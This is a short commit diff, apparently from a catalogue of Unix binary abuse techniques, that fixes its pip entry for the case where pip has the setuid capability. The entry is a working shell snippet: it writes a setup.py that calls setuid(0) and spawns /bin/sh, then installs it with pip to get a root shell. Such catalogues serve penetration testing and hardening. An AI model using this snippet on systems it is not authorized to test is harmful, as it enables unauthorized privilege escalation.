Fix pip setcap

This commit is contained in:
Emilio Pinna 2018-09-27 21:43:28 +01:00
parent ce111369f3
commit 1321a330a5

View File

@ -79,6 +79,6 @@ functions:
capabilities-enabled:
- code: |
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
echo "import os; os.setuid(0); os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
./pip install $TF
---